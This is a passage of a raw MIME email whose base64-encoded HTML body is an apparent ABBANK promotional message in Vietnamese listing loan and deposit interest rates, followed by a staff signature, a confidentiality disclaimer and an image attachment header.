cHQiPiZuYnNwOzwvc3Bhbj48L3A+DQo8cCBjbGFzcz0iTXNvTGlzdFBhcmFncmFwaEN4U3BNaWRk bGUiIHN0eWxlPSJtYXJnaW4tYm90dG9tOjBpbjsgbWFyZ2luLWJvdHRvbTouMDAwMXB0OyB0ZXh0 LWluZGVudDotLjI1aW47IGxpbmUtaGVpZ2h0Om5vcm1hbCI+DQo8c3BhbiBzdHlsZT0iZm9udC1z aXplOjE0LjBwdDsgZm9udC1mYW1pbHk6U3ltYm9sIj48c3BhbiBzdHlsZT0iIj7CtzxzcGFuIHN0 eWxlPSJmb250OjcuMHB0ICZxdW90O1RpbWVzIE5ldyBSb21hbiZxdW90OyI+Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7DQo8L3NwYW4+PC9zcGFuPjwvc3Bhbj48Yj48 aT48c3BhbiBzdHlsZT0iZm9udC1zaXplOjE0LjBwdCI+xJDhu5FpIHTGsOG7o25nIGtow6FjaCBo w6BuZzo8L3NwYW4+PC9pPjwvYj48aT48c3BhbiBzdHlsZT0iZm9udC1zaXplOjE0LjBwdCI+IMOh cCBk4bulbmcgY2hvIG3hu41pIGRvYW5oIG5naGnhu4dwPC9zcGFuPjwvaT48L3A+DQo8cCBjbGFz cz0iTXNvTGlzdFBhcmFncmFwaEN4U3BNaWRkbGUiIHN0eWxlPSJtYXJnaW46MGluOyBtYXJnaW4t Ym90dG9tOi4wMDAxcHQ7IGxpbmUtaGVpZ2h0Om5vcm1hbCI+DQo8aT4mbmJzcDs8L2k+PC9wPg0K PHAgY2xhc3M9Ik1zb0xpc3RQYXJhZ3JhcGhDeFNwTWlkZGxlIiBzdHlsZT0ibWFyZ2luLWJvdHRv bTowaW47IG1hcmdpbi1ib3R0b206LjAwMDFwdDsgdGV4dC1pbmRlbnQ6LS4yNWluOyBsaW5lLWhl aWdodDpub3JtYWwiPg0KPHNwYW4gc3R5bGU9ImZvbnQtc2l6ZToxNi4wcHQ7IGZvbnQtZmFtaWx5 OlN5bWJvbCI+PHNwYW4gc3R5bGU9IiI+wrc8c3BhbiBzdHlsZT0iZm9udDo3LjBwdCAmcXVvdDtU aW1lcyBOZXcgUm9tYW4mcXVvdDsiPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw Ow0KPC9zcGFuPjwvc3Bhbj48L3NwYW4+PGI+PGk+PHNwYW4gc3R5bGU9ImZvbnQtc2l6ZToxNi4w cHQiPkzDo2kgc3XhuqV0IDwvc3Bhbj48L2k+PC9iPjwvcD4NCjxwIGNsYXNzPSJNc29MaXN0UGFy YWdyYXBoQ3hTcE1pZGRsZSIgc3R5bGU9Im1hcmdpbi1ib3R0b206MGluOyBtYXJnaW4tYm90dG9t Oi4wMDAxcHQ7IGxpbmUtaGVpZ2h0Om5vcm1hbCI+DQo8Yj48aT4mIzQzOyA8L2k+PC9iPjxiPjxp PjxzcGFuIHN0eWxlPSJmb250LXNpemU6MTQuMHB0Ij5Mw6NpIHN14bqldCB0aOG6oyBu4buVaSBW TsSQPC9zcGFuPjoNCjwvaT48L2I+PGI+PGk+PHNwYW4gc3R5bGU9ImZvbnQtc2l6ZToyMi4wcHQ7 IGNvbG9yOnJlZCI+NiUvbsSDbS48L3NwYW4+PC9pPjwvYj48Yj48aT48c3BhbiBzdHlsZT0iZm9u dC1zaXplOjE0LjBwdDsgY29sb3I6cmVkIj48L3NwYW4+PC9pPjwvYj48L3A+DQo8cCBjbGFzcz0i TXNvTGlzdFBhcmFncmFwaEN4U3BMYXN0IiBzdHlsZT0ibWFyZ2luLWJvdHRvbTowaW47IG1hcmdp bi1ib3R0b206LjAwMDFwdDsgbGluZS1oZWlnaHQ6bm9ybWFsIj4NCjxiPjxpPiYjNDM7IDwvaT48 L2I+PGI+PGk+PHNwYW4gc3R5bGU9ImZvbnQtc2l6ZToxNC4wcHQiPkzDo2kgc3XhuqV0IGPhu5Eg xJHhu4tuaCBWTsSQPC9zcGFuPjoNCjwvaT48L2I+PGI+PGk+PHNwYW4gc3R5bGU9ImZvbnQtc2l6 ZToyNi4wcHQ7IGNvbG9yOnJlZCI+MTAuNSUvbsSDbTwvc3Bhbj48L2k+PC9iPjxiPjxpPjxzcGFu IHN0eWxlPSJmb250LXNpemU6MTQuMHB0OyBjb2xvcjpyZWQiPjwvc3Bhbj48L2k+PC9iPjwvcD4N CjxwIGNsYXNzPSJNc29Ob3JtYWwiPiZuYnNwOzwvcD4NCjwvdGQ+DQo8dGQgd2lkdGg9IjMwNiIg dmFsaWduPSJ0b3AiIHN0eWxlPSJ3aWR0aDoyMjkuMzVwdDsgYm9yZGVyOm5vbmU7IGJvcmRlci1i b3R0b206c29saWQgIzc4QzBENCAxLjBwdDsgcGFkZGluZzowaW4gNS40cHQgMGluIDUuNHB0OyBo ZWlnaHQ6MjEzLjY1cHQiPg0KPHAgY2xhc3M9Ik1zb05vcm1hbCIgc3R5bGU9Im1hcmdpbi1yaWdo dDowaW47IG1hcmdpbi1ib3R0b206MGluOyBtYXJnaW4tbGVmdDouNWluOyBtYXJnaW4tYm90dG9t Oi4wMDAxcHQ7IGxpbmUtaGVpZ2h0Om5vcm1hbCI+DQo8c3BhbiBzdHlsZT0iZm9udC1zaXplOjE0 LjBwdCI+Jm5ic3A7PC9zcGFuPjwvcD4NCjx1bCB0eXBlPSJkaXNjIiBzdHlsZT0ibWFyZ2luLXRv cDowaW4iPg0KPGxpIGNsYXNzPSJNc29Ob3JtYWwiIHN0eWxlPSJtYXJnaW4tYm90dG9tOjBpbjsg bWFyZ2luLWJvdHRvbTouMDAwMXB0OyBsaW5lLWhlaWdodDpub3JtYWwiPg0KPGI+PGk+PHNwYW4g c3R5bGU9ImZvbnQtc2l6ZToxNC4wcHQiPsSQ4buRaSB0xrDhu6NuZyBraMOhY2ggaMOgbmc6IEto w6FjaCBow6BuZyB4deG6pXQga2jhuql1IGPDsyBuZ3Xhu5NuIHRodSBFVVI8L3NwYW4+PC9pPjwv Yj48L2xpPjxsaSBjbGFzcz0iTXNvTm9ybWFsIiBzdHlsZT0ibWFyZ2luLWJvdHRvbTowaW47IG1h cmdpbi1ib3R0b206LjAwMDFwdDsgbGluZS1oZWlnaHQ6bm9ybWFsIj4NCjxpPjxzcGFuIHN0eWxl PSJmb250LXNpemU6MTQuMHB0Ij5Mw6NpIHN14bqldDogPC9zcGFuPjwvaT48Yj48aT48c3BhbiBz dHlsZT0iZm9udC1zaXplOjI0LjBwdDsgY29sb3I6cmVkIj41JS9uxINtPC9zcGFuPjwvaT48L2I+ PC9saT48bGkgY2xhc3M9Ik1zb05vcm1hbCIgc3R5bGU9Im1hcmdpbi1ib3R0b206MGluOyBtYXJn aW4tYm90dG9tOi4wMDAxcHQ7IGxpbmUtaGVpZ2h0Om5vcm1hbCI+DQo8aT48c3BhbiBzdHlsZT0i Zm9udC1zaXplOjE0LjBwdCI+TG/huqFpIHRp4buBbiBjaG8gdmF5Ojwvc3Bhbj48Yj4gPC9iPjwv aT48Yj48aT48c3BhbiBzdHlsZT0iZm9udC1zaXplOjE0LjBwdCI+RVVSLjwvc3Bhbj48L2k+PC9i PjwvbGk+PC91bD4NCjxwIGNsYXNzPSJNc29Ob3JtYWwiIHN0eWxlPSJtYXJnaW4tYm90dG9tOjBp bjsgbWFyZ2luLWJvdHRvbTouMDAwMXB0OyBsaW5lLWhlaWdodDpub3JtYWwiPg0KPHNwYW4gc3R5 bGU9ImZvbnQtc2l6ZToxNC4wcHQiPiZuYnNwOzwvc3Bhbj48L3A+DQo8cCBjbGFzcz0iTXNvTm9y bWFsIiBzdHlsZT0ibWFyZ2luLWJvdHRvbTowaW47IG1hcmdpbi1ib3R0b206LjAwMDFwdDsgbGlu ZS1oZWlnaHQ6bm9ybWFsIj4NCiZuYnNwOzwvcD4NCjwvdGQ+DQo8dGQgd2lkdGg9IjI2OSIgdmFs aWduPSJ0b3AiIHN0eWxlPSJ3aWR0aDoyMDIuMHB0OyBib3JkZXI6bm9uZTsgYm9yZGVyLWJvdHRv bTpzb2xpZCAjNzhDMEQ0IDEuMHB0OyBwYWRkaW5nOjBpbiA1LjRwdCAwaW4gNS40cHQ7IGhlaWdo dDoyMTMuNjVwdCI+DQo8cCBjbGFzcz0iTXNvTm9ybWFsIiBzdHlsZT0ibWFyZ2luLXJpZ2h0OjBp bjsgbWFyZ2luLWJvdHRvbTowaW47IG1hcmdpbi1sZWZ0Oi41aW47IG1hcmdpbi1ib3R0b206LjAw MDFwdDsgbGluZS1oZWlnaHQ6bm9ybWFsIj4NCjxzcGFuIHN0eWxlPSJmb250LXNpemU6MTQuMHB0 Ij4mbmJzcDs8L3NwYW4+PC9wPg0KPHAgY2xhc3M9Ik1zb05vcm1hbCIgc3R5bGU9Im1hcmdpbi1y aWdodDowaW47IG1hcmdpbi1ib3R0b206MGluOyBtYXJnaW4tbGVmdDoxNS43NXB0OyBtYXJnaW4t Ym90dG9tOi4wMDAxcHQ7IHRleHQtaW5kZW50Oi00LjVwdDsgbGluZS1oZWlnaHQ6bm9ybWFsIj4N CjxzcGFuIHN0eWxlPSJmb250LXNpemU6MTQuMHB0OyBmb250LWZhbWlseTpTeW1ib2wiPjxzcGFu IHN0eWxlPSIiPsK3PHNwYW4gc3R5bGU9ImZvbnQ6Ny4wcHQgJnF1b3Q7VGltZXMgTmV3IFJvbWFu JnF1b3Q7Ij4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDsNCjwvc3Bhbj48L3NwYW4+PC9zcGFuPjxpPjxzcGFuIHN0eWxlPSJm b250LXNpemU6MTQuMHB0Ij5LaMOhY2ggaMOgbmcga2luaCBkb2FuaCB0cm9uZyBsxKluaA0KPGI+ WHXhuqV0PC9iPiA8Yj5uaOG6rXAga2jhuql1PC9iPiB2w6AgY2jGsGEgcGjDoXQgc2luaCBkxrAg buG7oyB04bqhaSBBQkJBTksuPC9zcGFuPjwvaT48c3BhbiBzdHlsZT0iZm9udC1zaXplOjE0LjBw dCI+PC9zcGFuPjwvcD4NCjxwIGNsYXNzPSJNc29Ob3JtYWwiIHN0eWxlPSJtYXJnaW4tcmlnaHQ6 MGluOyBtYXJnaW4tYm90dG9tOjBpbjsgbWFyZ2luLWxlZnQ6MTUuNzVwdDsgbWFyZ2luLWJvdHRv bTouMDAwMXB0OyB0ZXh0LWluZGVudDotNC41cHQ7IGxpbmUtaGVpZ2h0Om5vcm1hbCI+DQo8c3Bh biBzdHlsZT0iZm9udC1zaXplOjE0LjBwdDsgZm9udC1mYW1pbHk6U3ltYm9sIj48c3BhbiBzdHls ZT0iIj7CtzxzcGFuIHN0eWxlPSJmb250OjcuMHB0ICZxdW90O1RpbWVzIE5ldyBSb21hbiZxdW90 OyI+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7DQo8L3NwYW4+PC9zcGFuPjwvc3Bhbj48Yj48aT48c3BhbiBzdHlsZT0iZm9u dC1zaXplOjE0LjBwdCI+TMOjaSBzdeG6pXQgVk7EkDwvc3Bhbj48L2k+PC9iPjxpPjxzcGFuIHN0 eWxlPSJmb250LXNpemU6MTQuMHB0Ij46DQo8L3NwYW4+PC9pPjxiPjxpPjxzcGFuIHN0eWxlPSJm b250LXNpemU6MjQuMHB0OyBjb2xvcjpyZWQiPjklL27Eg208L3NwYW4+PC9pPjwvYj48c3BhbiBz dHlsZT0iZm9udC1zaXplOjE0LjBwdCI+PC9zcGFuPjwvcD4NCjxwIGNsYXNzPSJNc29Ob3JtYWwi IHN0eWxlPSJtYXJnaW4tcmlnaHQ6MGluOyBtYXJnaW4tYm90dG9tOjBpbjsgbWFyZ2luLWxlZnQ6 MTUuNzVwdDsgbWFyZ2luLWJvdHRvbTouMDAwMXB0OyB0ZXh0LWluZGVudDotNC41cHQ7IGxpbmUt aGVpZ2h0Om5vcm1hbCI+DQo8c3BhbiBzdHlsZT0iZm9udC1zaXplOjE0LjBwdDsgZm9udC1mYW1p bHk6U3ltYm9sIj48c3BhbiBzdHlsZT0iIj7CtzxzcGFuIHN0eWxlPSJmb250OjcuMHB0ICZxdW90 O1RpbWVzIE5ldyBSb21hbiZxdW90OyI+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5i c3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7DQo8L3NwYW4+PC9zcGFuPjwvc3Bhbj48 Yj48aT48c3BhbiBzdHlsZT0iZm9udC1zaXplOjE0LjBwdCI+TG/huqFpIHRp4buBbiBjaG8gdmF5 Ojwvc3Bhbj48L2k+PC9iPjxzcGFuIHN0eWxlPSJmb250LXNpemU6MTQuMHB0Ij4gVk7EkDwvc3Bh bj48L3A+DQo8L3RkPg0KPHRkIHdpZHRoPSIyNjkiIHZhbGlnbj0idG9wIiBzdHlsZT0id2lkdGg6 MjAyLjBwdDsgYm9yZGVyLXRvcDpub25lOyBib3JkZXItbGVmdDpub25lOyBib3JkZXItYm90dG9t OnNvbGlkICM3OEMwRDQgMS4wcHQ7IGJvcmRlci1yaWdodDpzb2xpZCAjNzhDMEQ0IDEuMHB0OyBw YWRkaW5nOjBpbiA1LjRwdCAwaW4gNS40cHQ7IGhlaWdodDoyMTMuNjVwdCI+DQo8cCBjbGFzcz0i TXNvTm9ybWFsIiBzdHlsZT0ibWFyZ2luLXJpZ2h0OjBpbjsgbWFyZ2luLWJvdHRvbTowaW47IG1h cmdpbi1sZWZ0Oi41aW47IG1hcmdpbi1ib3R0b206LjAwMDFwdDsgbGluZS1oZWlnaHQ6bm9ybWFs Ij4NCjxzcGFuIHN0eWxlPSJmb250LXNpemU6MTQuMHB0Ij4mbmJzcDs8L3NwYW4+PC9wPg0KPHAg Y2xhc3M9Ik1zb05vcm1hbCIgc3R5bGU9Im1hcmdpbi1yaWdodDowaW47IG1hcmdpbi1ib3R0b206 MGluOyBtYXJnaW4tbGVmdDoxNS43NXB0OyBtYXJnaW4tYm90dG9tOi4wMDAxcHQ7IHRleHQtaW5k ZW50Oi00LjVwdDsgbGluZS1oZWlnaHQ6bm9ybWFsIj4NCjxzcGFuIHN0eWxlPSJmb250LXNpemU6 MTQuMHB0OyBmb250LWZhbWlseTpTeW1ib2wiPjxzcGFuIHN0eWxlPSIiPsK3PHNwYW4gc3R5bGU9 ImZvbnQ6Ny4wcHQgJnF1b3Q7VGltZXMgTmV3IFJvbWFuJnF1b3Q7Ij4mbmJzcDsmbmJzcDsmbmJz cDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsNCjwvc3Bh bj48L3NwYW4+PC9zcGFuPjxpPjxzcGFuIHN0eWxlPSJmb250LXNpemU6MTQuMHB0Ij5LaMOhY2gg aMOgbmcga2luaCBkb2FuaCB0cm9uZyBsxKluaA0KPGI+WHXhuqV0PC9iPiA8Yj5raOG6qXU8L2I+ IHbDoCBjaMawYSBwaMOhdCBzaW5oIGTGsCBu4bujIHThuqFpIEFCQkFOSy48L3NwYW4+PC9pPjxz cGFuIHN0eWxlPSJmb250LXNpemU6MTQuMHB0Ij48L3NwYW4+PC9wPg0KPHAgY2xhc3M9Ik1zb05v cm1hbCIgc3R5bGU9Im1hcmdpbi1yaWdodDowaW47IG1hcmdpbi1ib3R0b206MGluOyBtYXJnaW4t bGVmdDoxNS43NXB0OyBtYXJnaW4tYm90dG9tOi4wMDAxcHQ7IHRleHQtaW5kZW50Oi00LjVwdDsg bGluZS1oZWlnaHQ6bm9ybWFsIj4NCjxzcGFuIHN0eWxlPSJmb250LXNpemU6MTQuMHB0OyBmb250 LWZhbWlseTpTeW1ib2wiPjxzcGFuIHN0eWxlPSIiPsK3PHNwYW4gc3R5bGU9ImZvbnQ6Ny4wcHQg JnF1b3Q7VGltZXMgTmV3IFJvbWFuJnF1b3Q7Ij4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJz cDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsNCjwvc3Bhbj48L3NwYW4+PC9z cGFuPjxpPjxzcGFuIHN0eWxlPSJmb250LXNpemU6MTQuMHB0Ij5DYW0ga+G6v3QgYsOhbiBs4bqh aTogPGI+NTAlIG5ndeG7k24gVVNEIGtoaSB0aeG7gW4gduG7gS48L2I+PC9zcGFuPjwvaT48c3Bh biBzdHlsZT0iZm9udC1zaXplOjE0LjBwdCI+PC9zcGFuPjwvcD4NCjxwIGNsYXNzPSJNc29Ob3Jt YWwiIHN0eWxlPSJtYXJnaW4tcmlnaHQ6MGluOyBtYXJnaW4tYm90dG9tOjBpbjsgbWFyZ2luLWxl ZnQ6MTUuNzVwdDsgbWFyZ2luLWJvdHRvbTouMDAwMXB0OyB0ZXh0LWluZGVudDotNC41cHQ7IGxp bmUtaGVpZ2h0Om5vcm1hbCI+DQo8c3BhbiBzdHlsZT0iZm9udC1zaXplOjE0LjBwdDsgZm9udC1m YW1pbHk6U3ltYm9sIj48c3BhbiBzdHlsZT0iIj7CtzxzcGFuIHN0eWxlPSJmb250OjcuMHB0ICZx dW90O1RpbWVzIE5ldyBSb21hbiZxdW90OyI+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7DQo8L3NwYW4+PC9zcGFuPjwvc3Bh bj48aT48c3BhbiBzdHlsZT0iZm9udC1zaXplOjE0LjBwdCI+TG/huqFpIHRp4buBbiBjaG8gdmF5 Ojwvc3Bhbj48L2k+PHNwYW4gc3R5bGU9ImZvbnQtc2l6ZToxNC4wcHQiPg0KPGI+VVNELjwvYj48 L3NwYW4+PC9wPg0KPHAgY2xhc3M9Ik1zb05vcm1hbCIgc3R5bGU9Im1hcmdpbi1yaWdodDowaW47 IG1hcmdpbi1ib3R0b206MGluOyBtYXJnaW4tbGVmdDoxNS43NXB0OyBtYXJnaW4tYm90dG9tOi4w MDAxcHQ7IHRleHQtaW5kZW50Oi00LjVwdDsgbGluZS1oZWlnaHQ6bm9ybWFsIj4NCjxzcGFuIHN0 eWxlPSJmb250LXNpemU6MTguMHB0OyBmb250LWZhbWlseTpTeW1ib2w7IGNvbG9yOnJlZCI+PHNw YW4gc3R5bGU9IiI+wrc8c3BhbiBzdHlsZT0iZm9udDo3LjBwdCAmcXVvdDtUaW1lcyBOZXcgUm9t YW4mcXVvdDsiPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw OyZuYnNwOyZuYnNwOw0KPC9zcGFuPjwvc3Bhbj48L3NwYW4+PGk+PHNwYW4gc3R5bGU9ImZvbnQt c2l6ZToxNC4wcHQiPkzDo2kgc3XhuqV0Ojwvc3Bhbj48L2k+PHNwYW4gc3R5bGU9ImZvbnQtc2l6 ZToxNC4wcHQiPg0KPC9zcGFuPjxiPjxzcGFuIHN0eWxlPSJmb250LXNpemU6MjQuMHB0OyBjb2xv cjpyZWQiPjUuNSUvbsSDbTwvc3Bhbj48L2I+PGI+PHNwYW4gc3R5bGU9ImZvbnQtc2l6ZToxOC4w cHQ7IGNvbG9yOnJlZCI+Ljwvc3Bhbj48L2I+PC9wPg0KPHAgY2xhc3M9Ik1zb05vcm1hbCIgc3R5 bGU9Im1hcmdpbi1yaWdodDowaW47IG1hcmdpbi1ib3R0b206MGluOyBtYXJnaW4tbGVmdDouNWlu OyBtYXJnaW4tYm90dG9tOi4wMDAxcHQ7IGxpbmUtaGVpZ2h0Om5vcm1hbCI+DQo8c3BhbiBzdHls ZT0iZm9udC1zaXplOjE0LjBwdCI+Jm5ic3A7PC9zcGFuPjwvcD4NCjwvdGQ+DQo8L3RyPg0KPC90 Ym9keT4NCjwvdGFibGU+DQo8cCBjbGFzcz0iTXNvTm9ybWFsIj4mbmJzcDs8L3A+DQo8cCBjbGFz cz0iTXNvTm9ybWFsIiBzdHlsZT0idGV4dC1pbmRlbnQ6LjVpbiI+Jm5ic3A7PC9wPg0KPHAgY2xh c3M9Ik1zb05vcm1hbCI+PGI+PHNwYW4gc3R5bGU9ImZvbnQtc2l6ZToxMi4wcHQ7IGxpbmUtaGVp Z2h0OjExNSU7IGNvbG9yOiMwMDIwNjAiPsSQ4bq2TkcgVEjDgE5IIFFVQU5HDQo8L3NwYW4+PC9i PjwvcD4NCjxwIGNsYXNzPSJNc29Ob3JtYWwiPjxzcGFuIHN0eWxlPSJjb2xvcjojMUY0OTdEIj48 aW1nIHdpZHRoPSIyMDgiIGhlaWdodD0iMjkiIGlkPSJQaWN0dXJlX3gwMDIwXzEiIHNyYz0iY2lk OmltYWdlMDAxLmpwZ0AwMUNFODJENy5DMDBCNTIzMCIgYWx0PSJjaWQ6aW1hZ2UwMDEuanBnQDAx Q0MwNENFLkUwM0VGQzIwIj48L3NwYW4+PHNwYW4gc3R5bGU9ImNvbG9yOiMzNjVGOTEiPjwvc3Bh bj48L3A+DQo8cCBjbGFzcz0iTXNvTm9ybWFsIj48Yj48c3BhbiBzdHlsZT0iZm9udC1zaXplOjEy LjBwdDsgbGluZS1oZWlnaHQ6MTE1JTsgY29sb3I6IzAwMjA2MCI+QUJCQU5LIMOUTkcgVOG6oDwv c3Bhbj48L2I+PC9wPg0KPHAgY2xhc3M9Ik1zb05vcm1hbCI+PHNwYW4gc3R5bGU9ImZvbnQtc2l6 ZToxMi4wcHQ7IGxpbmUtaGVpZ2h0OjExNSU7IGNvbG9yOiMwMDIwNjAiPsSQ4buLYSBjaOG7iSZu YnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyA6IDcz NyBDw6FjaCBN4bqhbmcgVGjDoW5nIDgsIHBoxrDhu51uZyA2LCBxdeG6rW4gVMOibiBCw6xuaCwg VHAuIEhDTS48L3NwYW4+PC9wPg0KPHAgY2xhc3M9Ik1zb05vcm1hbCI+PHNwYW4gc3R5bGU9ImZv bnQtc2l6ZToxMi4wcHQ7IGxpbmUtaGVpZ2h0OjExNSU7IGNvbG9yOiMwMDIwNjAiPlRlbGVwaG9u ZSZuYnNwOyAmbmJzcDsmbmJzcDsgOiAwOC4zOTc3IDEwMTEmbmJzcDsmbmJzcDsmbmJzcDsgLSZu YnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyBNw6F5IGzhurs6IDEwMzwvc3Bhbj48L3A+DQo8 cCBjbGFzcz0iTXNvTm9ybWFsIj48c3BhbiBzdHlsZT0iZm9udC1zaXplOjEyLjBwdDsgbGluZS1o ZWlnaHQ6MTE1JTsgY29sb3I6IzAwMjA2MCI+RmF4Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5i c3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7ICZuYnNwOyA6IDA4 LiAzOTc3IDEwMTI8L3NwYW4+PC9wPg0KPHAgY2xhc3M9Ik1zb05vcm1hbCI+PHNwYW4gc3R5bGU9 ImZvbnQtc2l6ZToxMi4wcHQ7IGxpbmUtaGVpZ2h0OjExNSU7IGNvbG9yOiMwMDIwNjAiPkRpIMSR 4buZbmcmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsgOg0KPC9zcGFu PjxpPjxzcGFuIHN0eWxlPSJmb250LXNpemU6MTYuMHB0OyBsaW5lLWhlaWdodDoxMTUlOyBjb2xv cjojMDAyMDYwIj4wOTAzLjYyOC4zNDU8L3NwYW4+PC9pPjxzcGFuIHN0eWxlPSJmb250LXNpemU6 MTIuMHB0OyBsaW5lLWhlaWdodDoxMTUlOyBjb2xvcjojMDAyMDYwIj48L3NwYW4+PC9wPg0KPHAg Y2xhc3M9Ik1zb05vcm1hbCI+PHNwYW4gc3R5bGU9ImZvbnQtc2l6ZToxMi4wcHQ7IGxpbmUtaGVp Z2h0OjExNSU7IGNvbG9yOiMwMDIwNjAiPkVtYWlsJm5ic3A7ICZuYnNwOyZuYnNwOyZuYnNwOyZu YnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyA6DQo8L3NwYW4+PGEgaHJlZj0ibWFp bHRvOm5oYW5sdEBhYmJhbmsudm4iPjxzcGFuIHN0eWxlPSJmb250LXNpemU6MTIuMHB0OyBsaW5l LWhlaWdodDoxMTUlOyBjb2xvcjojMDAyMDYwIj5xdWFuZ2R0QGFiYmFuay52bjwvc3Bhbj48L2E+ PHNwYW4gc3R5bGU9ImZvbnQtc2l6ZToxMi4wcHQ7IGxpbmUtaGVpZ2h0OjExNSU7IGNvbG9yOiMw MDIwNjAiPjwvc3Bhbj48L3A+DQo8cCBjbGFzcz0iTXNvTm9ybWFsIj48c3BhbiBzdHlsZT0iZm9u dC1zaXplOjEyLjBwdDsgbGluZS1oZWlnaHQ6MTE1JTsgY29sb3I6IzAwMjA2MCI+V2Vic2l0ZSZu YnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyAmbmJzcDsgOg0KPC9zcGFuPjxhIGhyZWY9Imh0 dHA6Ly93d3cuYWJiYW5rLnZuIj48c3BhbiBzdHlsZT0iZm9udC1zaXplOjEyLjBwdDsgbGluZS1o ZWlnaHQ6MTE1JTsgY29sb3I6IzAwMjA2MCI+d3d3LmFiYmFuay52bjwvc3Bhbj48L2E+PHNwYW4g c3R5bGU9ImZvbnQtc2l6ZToxMi4wcHQ7IGxpbmUtaGVpZ2h0OjExNSU7IGNvbG9yOiMwMDIwNjAi Pjwvc3Bhbj48L3A+DQo8cCBjbGFzcz0iTXNvTm9ybWFsIj4mbmJzcDs8L3A+DQo8cCBjbGFzcz0i TXNvTm9ybWFsIj4mbmJzcDs8L3A+DQo8cCBjbGFzcz0iTXNvTm9ybWFsIj4mbmJzcDs8L3A+DQo8 L2Rpdj4NCjxicj4NCjxocj4NCjxmb250IGZhY2U9IkFyaWFsIiBjb2xvcj0iR3JheSIgc2l6ZT0i MSI+PGJyPg0KVGhlIGluZm9ybWF0aW9uIGNvbnRhaW5lZCBpbiB0aGlzIGNvbW11bmljYXRpb24g YW5kIGF0dGFjaG1lbnQgaXMgY29uZmlkZW50aWFsIGFuZCBpcyBmb3IgdGhlIHVzZSBvZiB0aGUg aW50ZW5kZWQgcmVjaXBpZW50IG9ubHkuPGJyPg0KQW55IGRpc2Nsb3N1cmUsIGNvcHlpbmcgb3Ig ZGlzdHJpYnV0aW9uIG9mIHRoaXMgY29tbXVuaWNhdGlvbiB3aXRob3V0IHRoZSBzZW5kZXIncyBj b25zZW50IGlzIHN0cmljdGx5IHByb2hpYml0ZWQuPGJyPg0KSWYgeW91IGFyZSBub3QgdGhlIGlu dGVuZGVkIHJlY2lwaWVudCwgcGxlYXNlIG5vdGlmeSB0aGUgc2VuZGVyIGFuZCBkZWxldGUgdGhp cyBjb21tdW5pY2F0aW9uIGVudGlyZWx5IHdpdGhvdXQgdXNpbmcsIHJldGFpbmluZywgb3IgZGlz Y2xvc2luZyBhbnkgb2YgaXRzIGNvbnRlbnRzLjxicj4NClRoaXMgY29tbXVuaWNhdGlvbiBpcyBm b3IgaW5mb3JtYXRpb24gcHVycG9zZXMgb25seSBhbmQgc2hhbGwgbm90IGJlIGNvbnN0cnVlZCBh cyBhbiBvZmZlciBvciBzb2xpY2l0YXRpb24gb2YgYW4gb2ZmZXIgb3IgYW4gYWNjZXB0YW5jZSBv ciBhIGNvbmZpcm1hdGlvbiBvZiBhbnkgY29udHJhY3Qgb3IgdHJhbnNhY3Rpb24uPGJyPg0KQWxs IGRhdGEgb3Igb3RoZXIgaW5mb3JtYXRpb24gY29udGFpbmVkIGhlcmVpbiBhcmUgbm90IHdhcnJh bnRlZCB0byBiZSBjb21wbGV0ZSBhbmQgYWNjdXJhdGUgYW5kIGFyZSBzdWJqZWN0IHRvIGNoYW5n ZSB3aXRob3V0IG5vdGljZS48YnI+DQpBbnkgY29tbWVudHMgb3Igc3RhdGVtZW50cyBtYWRlIGhl cmVpbiBkbyBub3QgbmVjZXNzYXJpbHkgcmVmbGVjdCB0aG9zZSBvZiBBbiBCaW5oIENvbW1lcmNp YWwgSm9pbnQgU3RvY2sgQmFuayBvciBhbnkgb2YgaXRzIGFmZmlsaWF0ZXMuPGJyPg0KSW50ZXJu ZXQgY29tbXVuaWNhdGlvbnMgY2Fubm90IGJlIGd1YXJhbnRlZWQgdG8gYmUgdmlydXMtZnJlZS48 YnI+DQpUaGUgcmVjaXBpZW50IGlzIHJlc3BvbnNpYmxlIGZvciBlbnN1cmluZyB0aGF0IHRoaXMg Y29tbXVuaWNhdGlvbiBpcyB2aXJ1cyBmcmVlIGFuZCB0aGUgc2VuZGVyIGFjY2VwdHMgbm8gbGlh YmlsaXR5IGZvciBhbnkgZGFtYWdlcyBjYXVzZWQgYnkgdmlydXMgdHJhbnNtaXR0ZWQgYnkgdGhp cyBjb21tdW5pY2F0aW9uLjxicj4NCjwvZm9udD4NCjwvYm9keT4NCjwvaHRtbD4NCg== --_000_45C3B30F33150D47A475213CCB979F96030136MMBXSRVHWP2SOUTHA_-- --_004_45C3B30F33150D47A475213CCB979F96030136MMBXSRVHWP2SOUTHA_ Content-Type: image/jpeg; name="image001.jpg" Content-Description: image001.jpg Content-Disposition: inline; filename="image001.jpg"; 